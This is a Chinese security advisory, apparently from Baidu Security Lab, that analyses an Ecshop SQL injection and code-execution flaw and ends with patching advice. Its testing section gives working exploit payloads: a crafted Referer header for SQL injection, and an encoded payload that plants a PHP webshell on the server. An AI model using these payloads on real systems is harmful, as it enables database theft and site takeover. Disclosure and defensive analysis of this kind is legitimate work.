近日,Ecshop爆出全版本SQL注入及任意代码执行漏洞,受影响的版本有:

  • Ecshop 2.x

  • Ecshop 3.x-3.6.0

该漏洞产生的根本原因在于Ecshop系统的user.php文件中,display()函数的模版变量可控,在显示运行模版的时候,使用了动态函数调用,在insert_ads()函数中将用户可控的参数直接拼接到了SQL语句中,导致SQL注入漏洞。配合SQL注入漏洞可以进行远程任意代码执行,攻击者无需登录,可直接获取站点的Webshell。

0x01 漏洞分析

1、SQL注入漏洞

在user.php文件代码中可以看到,获取HTTP_REFERER传递过来的内容,赋值给变量$back_act,assign()函数将该变量传递给了模版文件,代码片段如图:

Ecshop使用了php模版引擎smarty,该引擎有两个基本的函数assign()、display()。assign()函数用于在模版执行时为模版变量赋值,display()函数用于显示模版。smarty运行时,会读取模版文件,将模版文件中的占位符替换成assign()函数传递过来的参数值,并输出一个编译处理后的php文件,交由服务器运行。

在includes/init.php文件中创建了Smarty对象cls_template来处理模版文件,对应的文件是includes/cla_template.php,如图所示:

查看includes/cls_template.php文件中的display()函数,其中调用了fetch()函数,fetch()函数是将填充参数之后的模版文件输出给变量$out,最终调用explode()函数将变量$out打散为数组,_echash相同版本固定给了insert_mod()函数,如图:

查看insert_mod()函数的代码,首先是将用户可控的参数用”|”符号分割为一个数组,将数组中的值赋值给了两个变量$fun和$para,接着对“|”符号之后的变量$para进行反序列化,生成了数组$para,最后返回了一个动态函数调用。其中用$fun参数的值作为函数名的一部分,$para数组作为参数,并且函数名是以“insert_“开头的,如图:

查看所有的以“insert_”开头的函数,其中insert_ads()、insert_bought_notes()函数是可以进行利用的,传入这两个函数的数组是可控的,并且拼接了SQL语句,因此存在SQL注入漏洞。代码片段分别如图所示:

2、任意代码执行漏洞分析

在includes/lib_insert.php文件中,将查询结果中position_style字段的值赋值给了变量$position_style。配合前文中提到的SQL注入漏洞,改变SQL注入payload,后端执行的SQL语句为:

SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() ASrnd FROM ecs_ad AS a LEFTJOIN ecs_ad_position AS p ON a.position_id = p.position_id WHERE enabled =1 AND start_time <='1535678679' AND end_time>='1535678679' AND a.position_id=''/*' ORDER BY rnd LIMIT */unionselect1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575644868304a79776e5a3256306332686c6247776e4b513d3d2729293b2f2f7d787878,10-- -

该SQL语句的查询结果中可以看到position_style字段的值,如图:

$position_style变量作为参数传递给了fetch()函数,代码片段如图:

查看includes/cls_template.php文件中的fetch()函数,调用了危险函数eval(),这就是最终触发任意代码执行漏洞的点,并且传入的参数被fetch_str()函数进行了处理,如图:

跟进fetch_str()函数,使用了preg_replace()函数,配合其e模式,对source参数进行了替换,相关代码如图:

以任意代码执行漏洞利用payload为例,返回的结果是:

$this->select("$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//")

继续查看select()函数,满足tag{0}==’$’的条件,调用了get_val()函数,如图:

get_val()函数又调用了make_var()函数,传入的参数满足if的判断条件,最终生成并返回了参数$p。代码片段如下:

总结任意代码执行漏洞,整个函数调用过程如下:

fetch()—>_eval()—>fetch_str()—>select()—>get_val()—>make_var()

当利用payload传入到_eval函数之后,执行的最终payload为:

<?php echo $this-

>_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//']; ?>xxx

0x02 测试方法

1、SQL注入漏洞

攻击者修改请求中Referer的值为如下Payload:

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1

procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}

经过一系列函数的处理之后,最终传递给insert_ads()函数的$arr参数是一个数组,其内容为:

Array

(

[num] => 0,1procedure analyse(extractvalue(rand(),concat(0x7e,user())),1)-- -

[id] => 1

)

如图所示:

因此,后端最终执行的SQL语句为:

SELECT a.ad_id,a.position_id,a.media_type,a.ad_link,a.ad_code,a.ad_name,p.ad_width,p.ad_height,p.position_style,RAND() AS rnd FROM ecs_ad AS a LEFT JOIN ecs_ad_position AS p ON a.position_id=p.position_id WHERE enabled = 1 AND start_time <='1535678679' and="" end_time="">='1535678679' AND a.position_id='1' ORDER BY rnd LIMIT 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,user())),1)-- -

如图在漏洞环境的后端执行之后查询结果如下图所示:

具体的漏洞测试如图所示:

2、任意代码执行漏洞

任意代码执行漏洞写入webshell payload如下:

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}

以上Payload,对16进制转字符串之后,内容如下:

{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx

其中Base64编码的内容是执行file_put_content()函数,解码之后具体代码如下:

file_put_contents('1.php','')

漏洞利用请求发送之后,通过前文中的提到一系列函数调用处理过程:

fetch()—>_eval()—>fetch_str()—>select()—>get_val()—>make_var(),最终传递给eval()函数的$content的参数值为:

<?php echo$this->_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//']; ?>xxx

如图所示:

eval()函数最终执行向服务器写入了一句话木马。需要注意的是,如果改变了漏洞利用Payload,如webshell文件名、一句话密码等,相应的要改变”s:280”中的数字,改成对应字符串数量。

0x03 修复建议

Ecshop 3.6.0版本中参数$_echash的值发生了变化,并且对该漏洞写shell的利用进行了防御,该防御措施会被绕过,因此通过升级到最新版3.6.0的方式无法修复该漏洞。建议使用临时解决方案降低被入侵的风险,方法如下:

1、建议在include/lib_insert.php文件的insert_ads()、insert_bought_notes()函数中将$arr[id]和$arr[num]强制转换成整型;

2、以insert_ads()函数为例,也可以在条件判断语句中加入is_int()函数判断$arr[id]、$arr[num]参数是否为整型。针对insert_ads()函数的漏洞修复代码示例:

0x04 结语

本文分析的是Ecshop 2.7.3版本的源代码,测试Payload只适用于Ecshop 2.x版本。在3.x版本中,$_echash的值发生了变化,并且增加了防御措施。该漏洞利用难度较小,危害较大,建议使用Ecshop的用户尽快进行修复处理。

参考连接:

http://ringk3y.com/2018/08/31/ecshop2-x代码执行/

声明:本文来自百度安全实验室,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。